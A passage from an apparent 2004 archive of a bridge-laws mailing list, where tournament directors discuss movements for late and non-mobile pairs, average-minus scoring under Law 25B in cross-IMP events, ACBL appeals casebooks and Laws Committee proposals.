Message-ID: >Hello all, > >I am just getting back into club direction >here in the US after many years out of it, >and have two questions: > >1) I have Groner (the classics are the >classics, it seems) and the ACBL publications: >would the EBU Movement Manual, or any other >publication, be of additional use to me in terms >of choosing movements, adding late pairs, >and recovering from set-up or movement mistakes? For fixing broken movements, see: http://www.blakjak.demon.co.uk/lwx_mtn0.htm >2) Is there a source for .MOV files >for ACBLScore in addition to those that >come with it, that represent acceptable >movements that may have some advantage? >(I am in south Florida, with its concentration >of retirees, some of whom are not mobile, >making Howells problematical.) You may wish to subscribe to the Australian Bridge Directors' Association Bulletin, which has been described by prominent English Director (and blmler) David Stevenson as the best TD magazine in the world. For details, see: http://www.abf.com.au/directors/index.html Example: In a previous issue, the ABDA Bulletin published a stationary rover movement, which caters for non-mobile North-South players when there is a North-South rover pair. >If there is another forum more suitable for >these questions, please do not hesitate >to point me in the right direction. Another relevant forum is a public discussion forum, moderated by the ubiquitous David Stevenson, at: http://www.blakjak.demon.co.uk/iacf1.htm >TIA. > >David Babcock >Florida, USA Best wishes Richard James Hills Canberra, Australia From gesta@tiscali.co.uk Fri May 28 02:39:16 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Fri, 28 May 2004 02:39:16 +0100 Subject: [blml] Directing materials References: Message-ID: <000701c44454$aebb0410$7c0ce150@multivisionoem> Grattan Endicott To: Cc: Sent: Thursday, May 27, 2004 11:44 PM Subject: Re: [blml] Directing materials > > "the ubiquitous David Stevenson" < +=+ "a circle of which the centre is everywhere and the circumference is nowhere" [attributed to Empedocles] - but that, of course, was God. +=+ From richard.hills@immi.gov.au Fri May 28 05:01:36 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 28 May 2004 14:01:36 +1000 Subject: [blml] Directing materials Message-ID: >>> "the ubiquitous David Stevenson" >>+=+ "a circle of which the centre is everywhere >> and the circumference is nowhere" >> [attributed to Empedocles] >> - but that, of course, was God. +=+ http://www.mootgame.com/ansarchive/l67.html >In Latin ubi means "where"; thus your "whereness" (i.e., >the fact that you are in a definite place) is your ubiety >and the state of being everywhere at once is called >ubiquity. Note that on the Internet, the unit of ubiety >is the URL because it denotes a precise location in that >namespace. David Stevenson has god-like ubiety units, given the large number of his URLs and email addresses. When Sir Winston Churchill was Leader of His Majesty's Opposition, he was supposed to have described Chancellor of the Exchequer Sir Stafford Cripps as follows: "There, but for the grace of God, goes God." Of course, a blml-specific measure of ubiety units would the frequency and range of comments by a blmler. By that measure, the closest cognate to Sir Stafford Cripps would be a Belconnen blmler. :-) Best wishes Richard James Hills From ardelm@bigpond.net.au Fri May 28 08:01:15 2004 From: ardelm@bigpond.net.au (Tony Musgrove) Date: Fri, 28 May 2004 17:01:15 +1000 Subject: [blml] avg- at cross imps Message-ID: <6.1.0.6.2.20040528165508.09716a60@pop-server.bigpond.net.au> Have just had to wheel out L25B in a cross imped competition. (I just love that law - I know it off by heart). I presume for all the other competitors I cross-imp against the actual table score. For the offenders I check to see whether their score is greater than -2 IMPs (avg minus at Butler) x number of comparisons. If so I reduce it to this. OK? Tony (Sydney) From richard.hills@immi.gov.au Fri May 28 08:10:51 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 28 May 2004 17:10:51 +1000 Subject: [blml] ACBL Laws Committee Message-ID: DQoNCg0KDQpTdGV2ZSBXaWxsbmVyOg0KDQo+Pj5UaGUgUmVubyBtaW51dGVzIGhhdmUgdGhpczoN Cj4+Pg0KPj4+IkplZmYgUG9saXNuZXIncyBzdWdnZXN0aW9uIHRoYXQgTGF3IDczRjIgYmUNCj4+ PmFtZW5kZWQgdG8gcHJlY2x1ZGUgc2NvcmUgYWRqdXN0bWVudHMgZm9yDQo+Pj5wbGF5ZXJzIHdo byBkcmF3IGEgZmFsc2UgaW5mZXJlbmNlIGZyb20gYW4NCj4+Pm9wcG9uZW50J3MgZGVjZXB0aXZl IGFjdGlvbiB3YXMgZGlzY3Vzc2VkLiBBDQo+Pj5sYXJnZSBtYWpvcml0eSBvZiB0aGUgQ29tbWlz c2lvbiBhZ3JlZWQgdGhhdA0KPj4+dGhlIGxhdyBzaG91bGQgYmUgY2hhbmdlZCBzbyB0aGF0IGlu ZmVyZW5jZXMNCj4+Pm1heSBiZSBkcmF3biBvbmx5IGF0IGEgcGxheWVy4oCZcyBvd24gcmlzay4i DQo+Pj4NCj4+PldoYXQgYXJlIHRoZXNlIHBlb3BsZSB0aGlua2luZz8gIERvIHRoZXkNCj4+PnJl YWxseSB3YW50IHRvIGdvIGJhY2sgdG8gdGhlIGRheXMgd2hlbg0KPj4+dGhlcmUgd2FzIG5vIHNj b3JlLWFkanVzdG1lbnQgcmVtZWR5IGZvcg0KPj4+Y29mZmVlaG91c2luZz8NCg0KTWFydmluIEwu IEZyZW5jaDoNCg0KPj5ZZXMuIEkgYXR0ZW5kZWQgdGhlIG1lZXRpbmcgYW5kIHdhcyBzdXJwcmlz ZWQNCj4+dGhhdCBubyBvbmUgc2VlbWVkIHRvIGhhdmUgYSBzdHJvbmcgb2JqZWN0aW9uDQo+PnRv IHRoaXMgaWRlYS4NCg0KQWRhbSBXaWxkYXZza3k6DQoNCj5UaGF0J3Mgbm90IHF1aXRlIGZhaXIu IEkgaGFkIGEgc3Ryb25nDQo+b2JqZWN0aW9uLCBhbmQgcmVjZWl2ZWQgcGVybWlzc2lvbiB0byBh ZGRyZXNzDQo+dGhlIExDIG9uIHRoZSBtYXR0ZXIuIEFsYXMgbXkgd29yZHMgd2VyZSBub3QNCj5w ZXJzdWFzaXZlLiBBcyBJIHJlY2FsbCBvbmUgb3IgdHdvIExDIG1lbWJlcnMNCj5hZ3JlZWQgdGhh dCB0aGlzIHdvdWxkIGJlIGEgcG9vciBjaGFuZ2UgdG8gbWFrZQ0KPi0tIHVuZm9ydHVuYXRlbHkg SSBkb24ndCByZWNhbGwgd2hvIHRoZXkgd2VyZS4NCj5BdCBsZWFzdCBteSBhcmd1bWVudHMgZGlk bid0IGRyaXZlIHRoZW0gdG8gdGhlDQo+b3RoZXIgY2FtcCENCg0KUmljaGFyZCBKYW1lcyBIaWxs czoNCg0KSW4gbXkgb3BpbmlvbiwgdGhlIGJsbWwgY3JpdGljaXNtIG9mIHRoZSBBQ0JMIExDDQpv biB0aGlzIGlzc3VlIGlzIGFsc28gbm90IHF1aXRlIGZhaXIsIGJlY2F1c2UNCnRoZSBBQ0JMIExD IGFsc28gbWFkZSBhZGRpdGlvbmFsIHJlY29tbWVuZGF0aW9ucy4NClNlZSBhdHRhY2hlZC4NCg0K QmVzdCB3aXNoZXMNCg0KUmljaGFyZCBKYW1lcyBIaWxscw0KDQoqICAgICAqICAgICAqDQoNCmh0 dHA6Ly93d3cuYWNibC5vcmcvYWJvdXQvc3ByaW5nMjAwNC5odG1sDQoNCkNoaXAgTWFydGVsIHN1 Z2dlc3RlZCB0aGF0IHRoZSBDb21taXNzaW9uIGZvcndhcmQNCnN1Z2dlc3Rpb25zIHRvIHRoZSBX QkYgRHJhZnRpbmcgQ29tbWl0dGVlIGJhc2VkDQpvbiB0aGUgZm9sbG93aW5nIGd1aWRlbGluZXM6 DQoNCmEpIExhd3MgdGhhdCB0aGUgQUNCTCBMQyBpcyBvcHBvc2VkIHRvIGNoYW5naW5nOw0KYikg TGF3cyB0aGF0IHRoZSBBQ0JMIExDIGJlbGlldmVzIG5lZWQgY2hhbmdpbmc7DQpjKSBMYXdzIHRo YXQgdGhlIEFDQkwgTEMgYmVsaWV2ZXMgYXJlIHJlYXNvbmFibGUNCnRvIGNoYW5nZSwgYnV0IGhh cyBubyBzdHJvbmcgZmVlbGluZ3MgYWJvdXQuDQoNCk1lbWJlcnMgb2YgdGhlIEFDQkwgTEMgd2Vy ZSBhc2tlZCB0byBwcmVwYXJlDQpzdWdnZXN0aW9ucyBvbiBsYXcgY2hhbmdlcyBhY2NvcmRpbmcg dG8gdGhlIGxpc3RlZA0KZ3VpZGVsaW5lcy4NCg0KSmVmZiBQb2xpc25lcidzIHN1Z2dlc3Rpb24g dGhhdCBMYXcgNzNGMiBiZQ0KYW1lbmRlZCB0byBwcmVjbHVkZSBzY29yZSBhZGp1c3RtZW50cyBm b3IgcGxheWVycw0Kd2hvIGRyYXcgYSBmYWxzZSBpbmZlcmVuY2UgZnJvbSBhbiBvcHBvbmVudCdz DQpkZWNlcHRpdmUgYWN0aW9uIHdhcyBkaXNjdXNzZWQuIEEgbGFyZ2UgbWFqb3JpdHkNCm9mIHRo ZSBDb21taXNzaW9uIGFncmVlZCB0aGF0IHRoZSBsYXcgc2hvdWxkIGJlDQpjaGFuZ2VkIHNvIHRo YXQgaW5mZXJlbmNlcyBtYXkgYmUgZHJhd24gb25seSBhdCBhDQpwbGF5ZXIncyBvd24gcmlzay4N Cg0KKioqQXMgZm9yIHRoZSBvcHBvbmVudHMsIHRoZSBDb21taXNzaW9uIGZhdm9ycw0KZGVhbGlu ZyB3aXRoIHRoZWlyIGRlY2VwdGl2ZSBhY3Rpb25zIHRocm91Z2gNCmRpc2NpcGxpbmFyeSBhY3Rp b24gYW5kL29yIHByb2NlZHVyYWwgcGVuYWx0aWVzLg0KVGhlIENvbW1pc3Npb24gZmF2b3JzIHJl dGFpbmluZyBMYXcgNzNEMi4qKioNCg0KVGhlIENvbW1pc3Npb24gaXMgZ2VuZXJhbGx5IGluIGFj Y29yZCB3aXRoIHRoZQ0Kc3VnZ2VzdGlvbiB0byBjaGFuZ2UgdGhlIGNsYWltIGxhdyB0byBhbGxv dyBoYW5kcw0KdG8gYmUgcGxheWVkIG91dCAodGhvdWdoIGl0IHdhcyByZWNvZ25pemVkIHRoYXQg YQ0KbnVtYmVyIG9mIGRldGFpbHMgcmVtYWluIHRvIGJlIHdvcmtlZCBvdXQpLg0KDQpUaGUgQ29t bWlzc2lvbiBleHByZXNzZWQgbm8gc3Ryb25nIGZlZWxpbmdzIG9uIHRoZQ0KV0JGIERyYWZ0aW5n IENvbW1pdHRlZSBwcm9wb3NhbCB0byBhbWVuZCBMYXcgNDJCMg0KdG8gYWxsb3cgZHVtbXkgdG8g YXR0ZW1wdCB0byBwcmV2ZW50IGFuDQppcnJlZ3VsYXJpdHkgYnkgZGVmZW5kZXJzIGFzIHdlbGwg YXMgZGVjbGFyZXIgaWYNCmhlIHNvIGNob29zZXMuDQoNClRoZSBjb25zZW5zdXMgb2YgdGhlIENv bW1pc3Npb24gd2FzIHRoYXQgdGhlDQpkZWZpbml0aW9uIG9mIHdoZW4gYSBjYXJkIGlzIHBsYXll ZCBzaG91bGQgYmUgYXMNCm9iamVjdGl2ZSBhcyBwb3NzaWJsZS4gVGhlIHBocmFzZSAib3IgbmVh cmx5DQp0b3VjaGluZyB0aGUgdGFibGUiIHNob3VsZCBiZSBkZWxldGVkIGZyb20gTGF3DQo0NUMy IG9yLCBhdCB0aGUgbGVhc3QsIG1vZGlmaWVkLg== From hermandw@hdw.be Fri May 28 08:44:38 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 28 May 2004 09:44:38 +0200 Subject: [blml] avg- at cross imps In-Reply-To: <6.1.0.6.2.20040528165508.09716a60@pop-server.bigpond.net.au> References: <6.1.0.6.2.20040528165508.09716a60@pop-server.bigpond.net.au> Message-ID: <40B6EDE6.3060409@hdw.be> Hello Tony, Friday morning at Port Hacking, yes? Tony Musgrove wrote: > Have just had to wheel out L25B in a cross imped competition. > (I just love that law - I know it off by heart). > > I presume for all the other competitors I cross-imp against the > actual table score. For the offenders I check to see whether > their score is greater than -2 IMPs (avg minus at Butler) x > number of comparisons. If so I reduce it to this. > That would indeed be the way I would calculate this as well. L25B guarantees that a table result is obtained, so that table result should stand for comparison purposes. And then you apply the maximum solely to the pair at fault. Of course your value of Av- depends on local regulation. In my regulations that would be -3 x number of results, but you stick to your regulations of course. > OK? > > Tony (Sydney) > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From john@asimere.com Fri May 28 13:59:35 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 28 May 2004 13:59:35 +0100 Subject: [blml] avg- at cross imps In-Reply-To: <6.1.0.6.2.20040528165508.09716a60@pop-server.bigpond.net.au> References: <6.1.0.6.2.20040528165508.09716a60@pop-server.bigpond.net.au> Message-ID: In article <6.1.0.6.2.20040528165508.09716a60@pop- server.bigpond.net.au>, Tony Musgrove writes >Have just had to wheel out L25B in a cross imped competition. >(I just love that law - I know it off by heart). > >I presume for all the other competitors I cross-imp against the >actual table score. For the offenders I check to see whether >their score is greater than -2 IMPs (avg minus at Butler) x >number of comparisons. If so I reduce it to this. > >OK? nope. :) (85% This will drive Ian berserk) :) 3 imps x sqrt (No.comparisons x No.results / 2) is correct. Note how this converts to 3 imps for a head to head. http://www.asimere.com/~john/BridgeArticles/VPScales.htm John > >Tony (Sydney) > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From adam@tameware.com Fri May 28 14:47:42 2004 From: adam@tameware.com (Adam Wildavsky) Date: Fri, 28 May 2004 09:47:42 -0400 Subject: [blml] ACBL Fall 2003 appeals casebook Message-ID: The New Orleans casebook is online: http://web2.acbl.org/casebooks/New_Orleans_Fall03.pdf The casebook page has been moved and redesigned. http://www.acbl.org/play/casebooks.html I've accordingly updated my laws pages at http://bridge.tameware.com/laws -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From ardelm@bigpond.net.au Sat May 29 08:10:16 2004 From: ardelm@bigpond.net.au (Tony Musgrove) Date: Sat, 29 May 2004 17:10:16 +1000 Subject: [blml] avg- at cross imps In-Reply-To: References: <6.1.0.6.2.20040528165508.09716a60@pop-server.bigpond.net.au> Message-ID: <6.1.0.6.2.20040529170441.04735e50@pop-server.bigpond.net.au> At 10:59 PM 28/05/2004, you wrote: >In article <6.1.0.6.2.20040528165508.09716a60@pop- >server.bigpond.net.au>, Tony Musgrove writes > >Have just had to wheel out L25B in a cross imped competition. > >(I just love that law - I know it off by heart). > > > >I presume for all the other competitors I cross-imp against the > >actual table score. For the offenders I check to see whether > >their score is greater than -2 IMPs (avg minus at Butler) x > >number of comparisons. If so I reduce it to this. > > > > >OK? > >nope. :) (85% This will drive Ian berserk) :) > >3 imps x sqrt (No.comparisons x No.results / 2) is correct. >Note how this converts to 3 imps for a head to head. Aargh. So if I have 9 scores and 8 comparisons that comes to -3 x sqrt( 9 x 8 / 2) = -18 imps. My calculation would give -2 x 8 = -16 imps and Herman's would be just -3 x 8 = -24 imps. I know the Law book doesn't throw light on it. The only reason I have been using -2 for avg - at Butler was because the UK contingent deemed it the "correct" value. Confused (Engadine) >http://www.asimere.com/~john/BridgeArticles/VPScales.htm > >John > > > > > > >Tony (Sydney) > > > > > > > >_______________________________________________ > >blml mailing list > >blml@rtflb.org > >http://www.amsterdamned.org/mailman/listinfo/blml > >-- >John (MadDog) Probst| . ! -^- |AIM GLChienFou >451 Mile End Road | /|__. \:/ |BCLive ChienFou >London E3 4PA | / @ __) -|- |john@asimere.com >+44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml From john@asimere.com Sat May 29 11:40:58 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sat, 29 May 2004 11:40:58 +0100 Subject: [blml] avg- at cross imps In-Reply-To: <6.1.0.6.2.20040529170441.04735e50@pop-server.bigpond.net.au> References: <6.1.0.6.2.20040528165508.09716a60@pop-server.bigpond.net.au> <6.1.0.6.2.20040529170441.04735e50@pop-server.bigpond.net.au> Message-ID: <5acvavE6iGuAFws7@asimere.com> In article <6.1.0.6.2.20040529170441.04735e50@pop- server.bigpond.net.au>, Tony Musgrove writes >At 10:59 PM 28/05/2004, you wrote: >>In article <6.1.0.6.2.20040528165508.09716a60@pop- >>server.bigpond.net.au>, Tony Musgrove writes >> >Have just had to wheel out L25B in a cross imped competition. >> >(I just love that law - I know it off by heart). >> > >> >I presume for all the other competitors I cross-imp against the >> >actual table score. For the offenders I check to see whether >> >their score is greater than -2 IMPs (avg minus at Butler) x >> >number of comparisons. If so I reduce it to this. >> > >> >> >OK? >> >>nope. :) (85% This will drive Ian berserk) :) >> >>3 imps x sqrt (No.comparisons x No.results / 2) is correct. >>Note how this converts to 3 imps for a head to head. > >Aargh. So if I have 9 scores and 8 comparisons that comes >to -3 x sqrt( 9 x 8 / 2) = -18 imps. My calculation would >give -2 x 8 = -16 imps and Herman's would be just -3 x 8 = >-24 imps. I know the Law book doesn't throw light on it. > > >The only reason I have been using -2 for avg - at Butler was >because the UK contingent deemed it the "correct" value. The Butler version is certainly better. In a head to head there is less chance that oppo will score the same as you, and when this is applied to the all-play all, the imps available are reduced (per my formula if you want to be pedantic), and so the Butler figure should prevail, as Butler and cross-imps have a fairly close ratio (possibly 6/5). It may have been me suggesting Butler a while ago, but the article is Max Bavin's current thinking too, so it's certainly up-to-date and has good provenance. Herman, think this one through, it's the same problem as VP'ing teams of 8. [root (comps x res/2) is the factor to get from one VP scale to another], so for the weight to be correct we need the same mapping. > >Confused (Engadine) > > > > > >>http://www.asimere.com/~john/BridgeArticles/VPScales.htm >> >>John >> >> >> >> > >> >Tony (Sydney) >> > >> > >> > >> >_______________________________________________ >> >blml mailing list >> >blml@rtflb.org >> >http://www.amsterdamned.org/mailman/listinfo/blml >> >>-- >>John (MadDog) Probst| . ! -^- |AIM GLChienFou >>451 Mile End Road | /|__. \:/ |BCLive ChienFou >>London E3 4PA | / @ __) -|- |john@asimere.com >>+44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john >> >>_______________________________________________ >>blml mailing list >>blml@rtflb.org >>http://www.amsterdamned.org/mailman/listinfo/blml > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From svenpran@online.no Sat May 29 12:32:09 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 29 May 2004 13:32:09 +0200 Subject: [blml] avg- at cross imps In-Reply-To: <5acvavE6iGuAFws7@asimere.com> Message-ID: <000101c44570$9446d420$6900a8c0@WINXP> John (MadDog) Probst ......... > >> >Have just had to wheel out L25B in a cross imped competition. > >> >(I just love that law - I know it off by heart). > >> > > >> >I presume for all the other competitors I cross-imp against the > >> >actual table score. For the offenders I check to see whether > >> >their score is greater than -2 IMPs (avg minus at Butler) x > >> >number of comparisons. If so I reduce it to this. > >> > > >> > >> >OK? > >> > >>nope. :) (85% This will drive Ian berserk) :) > >> > >>3 imps x sqrt (No.comparisons x No.results / 2) is correct. > >>Note how this converts to 3 imps for a head to head. > > > >Aargh. So if I have 9 scores and 8 comparisons that comes > >to -3 x sqrt( 9 x 8 / 2) = -18 imps. My calculation would > >give -2 x 8 = -16 imps and Herman's would be just -3 x 8 = > >-24 imps. I know the Law book doesn't throw light on it. > > > > > >The only reason I have been using -2 for avg - at Butler was > >because the UK contingent deemed it the "correct" value. > > The Butler version is certainly better. In a head to head there is less > chance that oppo will score the same as you, and when this is applied to > the all-play all, the imps available are reduced (per my formula if you > want to be pedantic), and so the Butler figure should prevail, as Butler > and cross-imps have a fairly close ratio (possibly 6/5). > > It may have been me suggesting Butler a while ago, but the article is > Max Bavin's current thinking too, so it's certainly up-to-date and has > good provenance. > > Herman, think this one through, it's the same problem as VP'ing teams of > 8. [root (comps x res/2) is the factor to get from one VP scale to > another], so for the weight to be correct we need the same mapping. Frankly I prefer IMPs across the field but "normalized": That is you calculate IMPs across the field in the traditional way but then divide the total by the number of scores (not the number of comparisons). This gives results that are pretty independent of the number of tables. How much to award for A+ and A- is now just a matter of deciding once and for all 1.5 IMP or 2 IMP. Regards Sven From hermandw@hdw.be Sat May 29 13:00:52 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 29 May 2004 14:00:52 +0200 Subject: [blml] avg- at cross imps In-Reply-To: <5acvavE6iGuAFws7@asimere.com> References: <6.1.0.6.2.20040528165508.09716a60@pop-server.bigpond.net.au> <6.1.0.6.2.20040529170441.04735e50@pop-server.bigpond.net.au> <5acvavE6iGuAFws7@asimere.com> Message-ID: <40B87B74.9020504@hdw.be> John (MadDog) Probst wrote: > In article <6.1.0.6.2.20040529170441.04735e50@pop- > server.bigpond.net.au>, Tony Musgrove writes > >>At 10:59 PM 28/05/2004, you wrote: >> >>>In article <6.1.0.6.2.20040528165508.09716a60@pop- >>>server.bigpond.net.au>, Tony Musgrove writes >>> >>>>Have just had to wheel out L25B in a cross imped competition. >>>>(I just love that law - I know it off by heart). >>>> >>>>I presume for all the other competitors I cross-imp against the >>>>actual table score. For the offenders I check to see whether >>>>their score is greater than -2 IMPs (avg minus at Butler) x >>>>number of comparisons. If so I reduce it to this. >>>> >>> >>>>OK? >>> >>>nope. :) (85% This will drive Ian berserk) :) >>> >>>3 imps x sqrt (No.comparisons x No.results / 2) is correct. >>>Note how this converts to 3 imps for a head to head. >> >>Aargh. So if I have 9 scores and 8 comparisons that comes >>to -3 x sqrt( 9 x 8 / 2) = -18 imps. My calculation would >>give -2 x 8 = -16 imps and Herman's would be just -3 x 8 = >>-24 imps. I know the Law book doesn't throw light on it. >> Actually, I make it -3 x 9 = -27. But that is just the way I interpret non-written regulations in Belgium. >> >>The only reason I have been using -2 for avg - at Butler was >>because the UK contingent deemed it the "correct" value. > > > The Butler version is certainly better. In a head to head there is less > chance that oppo will score the same as you, and when this is applied to > the all-play all, the imps available are reduced (per my formula if you > want to be pedantic), and so the Butler figure should prevail, as Butler > and cross-imps have a fairly close ratio (possibly 6/5). > > It may have been me suggesting Butler a while ago, but the article is > Max Bavin's current thinking too, so it's certainly up-to-date and has > good provenance. > This needs to be examined in far greater detail. > Herman, think this one through, I haven't yet - I want to - and I don't know where to begin. Certainly a 4-line introduction is not enough: > it's the same problem as VP'ing teams of > 8. [root (comps x res/2) is the factor to get from one VP scale to > another], so for the weight to be correct we need the same mapping. > >>Confused (Engadine) >> so am I - still. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From dpb3@fastmail.fm Sat May 29 14:08:48 2004 From: dpb3@fastmail.fm (David Babcock) Date: Sat, 29 May 2004 09:08:48 -0400 Subject: [blml] 7.5 tables; late pair to 8-table Relay Mitchell Message-ID: <1085836128.23434.197402708@webmail.messagingengine.com> Hello all, Thanks for the several replies, including private ones, to my introductory post. Of particular interest was a reference to the 7.5-table movement with the rover that bumps both ways, in the Feb '02 Bulletin. That movement includes a last-round arrow switch. In pursuing this, it turns out that there is a corner of ACBLScore I didn't know about when I posted--"External Pair"--that has a similar movement (H8ROVER) but there is no arrow switch. I have followed the links on the ubiquitous David Stevenson's page to the material on the arrow-switch debate, and I have a headache. ;-| My guess is that the addition of the rover does not significantly affect the math, but perhaps someone has looked more carefully into that point. In any case, if and when to arrow-switch feels like a decision to be made along KISS lines at my club, for better or worse theoretically-- if ACBL says (by implication) that none is OK, maybe just go with that. If a new pair or two shows up at the end of the first round of an 8-table relay Mitchell (3 boards per round), what is common practice? Groner says to reshuffle the relayed boards, but he hasn't met our members. ;-| A rover is possible, but then you're down to 21 boards one way. I have doodled out something that seems to work on paper--run it as a 9-table Mitchell with a two-set bye-stand, placed so that the pairs who played the relay never see those boards again. If this actually works, is there any reason not to do this, besides the comparisons being somewhat worse because of the two extra board sets? The late pair is accommodated, no one plays fewer boards than they were about to, and the movement is thge simplest (albeit with boards out of order). No doubt others have doodled with this too, and I would be grateful to learn from them, and of course to contribute any useful insight I may have, though I have the feeling this is very old ground so far. David Babcock Florida, USA From john@asimere.com Sat May 29 23:30:00 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sat, 29 May 2004 23:30:00 +0100 Subject: [blml] avg- at cross imps In-Reply-To: <000101c44570$9446d420$6900a8c0@WINXP> References: <5acvavE6iGuAFws7@asimere.com> <000101c44570$9446d420$6900a8c0@WINXP> Message-ID: In article <000101c44570$9446d420$6900a8c0@WINXP>, Sven Pran writes >John (MadDog) Probst >......... >> >> >Have just had to wheel out L25B in a cross imped competition. >> >> >(I just love that law - I know it off by heart). >> >> > >> >> >I presume for all the other competitors I cross-imp against the >> >> >actual table score. For the offenders I check to see whether >> >> >their score is greater than -2 IMPs (avg minus at Butler) x >> >> >number of comparisons. If so I reduce it to this. >> >> > >> >> >> >> >OK? >> >> >> >>nope. :) (85% This will drive Ian berserk) :) >> >> >> >>3 imps x sqrt (No.comparisons x No.results / 2) is correct. >> >>Note how this converts to 3 imps for a head to head. >> > >> >Aargh. So if I have 9 scores and 8 comparisons that comes >> >to -3 x sqrt( 9 x 8 / 2) = -18 imps. My calculation would >> >give -2 x 8 = -16 imps and Herman's would be just -3 x 8 = >> >-24 imps. I know the Law book doesn't throw light on it. >> > >> > >> >The only reason I have been using -2 for avg - at Butler was >> >because the UK contingent deemed it the "correct" value. >> >> The Butler version is certainly better. In a head to head there is less >> chance that oppo will score the same as you, and when this is applied to >> the all-play all, the imps available are reduced (per my formula if you >> want to be pedantic), and so the Butler figure should prevail, as Butler >> and cross-imps have a fairly close ratio (possibly 6/5). >> >> It may have been me suggesting Butler a while ago, but the article is >> Max Bavin's current thinking too, so it's certainly up-to-date and has >> good provenance. >> >> Herman, think this one through, it's the same problem as VP'ing teams of >> 8. [root (comps x res/2) is the factor to get from one VP scale to >> another], so for the weight to be correct we need the same mapping. > >Frankly I prefer IMPs across the field but "normalized": For a long time I thought this was correct, but in fact you have to divide by root(conps x results) to normalise, a sort of half way house between results and comparisons. This is why when you go from Teams of 4 to teams of 8 cross imp the ratio between the 2 scales is 2 root 2. (R=2, C=1 vs R=4, C=4) or root 2 vs root 16. So an ave plus for T8 is 6x root 2. > >That is you calculate IMPs across the field in the traditional way but then >divide the total by the number of scores (not the number of comparisons). >This gives results that are pretty independent of the number of tables. > >How much to award for A+ and A- is now just a matter of deciding once and >for all 1.5 IMP or 2 IMP. However if you do use this formula then the 3 imp standard for head-to- head gets pretty close to 2 for "normalised" cross-imps or butler. > > >Regards Sven > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From t.kooyman@worldonline.nl Sun May 30 13:37:08 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 30 May 2004 14:37:08 +0200 Subject: Fw: [blml] avg- at cross imps Message-ID: <005201c44642$d50336c0$9281b6d4@LNV> > > > 3 imps x sqrt (No.comparisons x No.results / 2) is correct. > > > Note how this converts to 3 imps for a head to head. > > > > > > > > > John correct? you mean that is how you do it? it all depends on the regulations as herman said. the question what is the best is another one. and experience shows that 3 imps per comparison is a lot. winners of those events normally have less than 2 imps per comparison. it seems more in line with the way of calculating the result to lower the number of imps per table and to keep the number of tables. easier to explain. but both ideas fulfil the task to assign a reasonable score. and what did you do with the square root? in my time deviding by 2 was something else. or do I read this wrongly? ton > From richard.hills@immi.gov.au Mon May 31 03:21:31 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 31 May 2004 12:21:31 +1000 Subject: [blml] Inferior bridge forbidden? (was Matchpoint dumping) Message-ID: Grattan Endicott -> >>>+=+ An interesting thought. I have not seen, as far as I >>>recall, a regulation in any competition that actually says >>>"It is forbidden to play inferior bridge". David Stevenson -> >>Well, it is time there was one, and it was explained to my >>partners and team-mates. United States Bridge Federation, General Conditions of Contest (http://www.usbf.org/GeneralCoC2004.htm) -> >Players are expected to know their system, especially early >in the bidding. Imps Dlr: West Vul: All The bidding has gone: WEST NORTH EAST SOUTH 1D Pass 1H Pass 2NT(1) Pass 3H Pass 3NT Pass 4NT(2) Pass 5D(3) Pass 7H Pass Pass Pass (1) 19-20 hcp, balanced (2) RKCB in hearts (3) 1 or 4 keycards You, South, hold: T852 J7 A754 AQ3 What lead do you make? What other leads do you consider making? Best wishes Richard James Hills From richard.hills@immi.gov.au Mon May 31 04:39:31 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 31 May 2004 13:39:31 +1000 Subject: [blml] ACBL Fall 2003 appeals casebook Message-ID: In his final "Advice for Advancing Players", Rich Colker wrote: [big snip] >Second, everyone has a unique perspective on >what happened at the table, and yours is not >the only one that's credible and deserves >respect. As psychologists have demonstrated, >there are always at least three views of >what happened (and why): the one side's >view, the other side's view, and the view of >the disinterested observer. That third view >is the only one that consistently approaches >the "truth". > >Third, and even though it may be difficult, >refrain from attributing ulterior motives to >the opponents' actions, [snip] >Again, studies by psychologists have shown >that we tend to attribute good motives to >ourselves and to overlook our own errors as >being due to circumstance beyond our >control, while we attribute personal (and >often malicious) motives to the actions of >others and see their errors as being due to >negligence or inclinations to commit such >acts on their part. In other words, when we >do something wrong it is an accident that >was largely due to circumstances we could >not control, while if someone else does the >same thing they did it on purpose because >they're predisposed to such actions. The >truth almost always lies somewhere in >between. [big snip] Richard James Hills writes: The above words of Rich Colker were aimed at self-deceiving players, but the advice is equally applicable to self-deceiving TDs. In the earlier "Groundhog Day" thread, the answers of blmlers suggested that there was a prima facie possibility that a TD's ruling could be contextually distorted, due to the TD knowing the entire deal. I therefore emphasise the usefulness of a 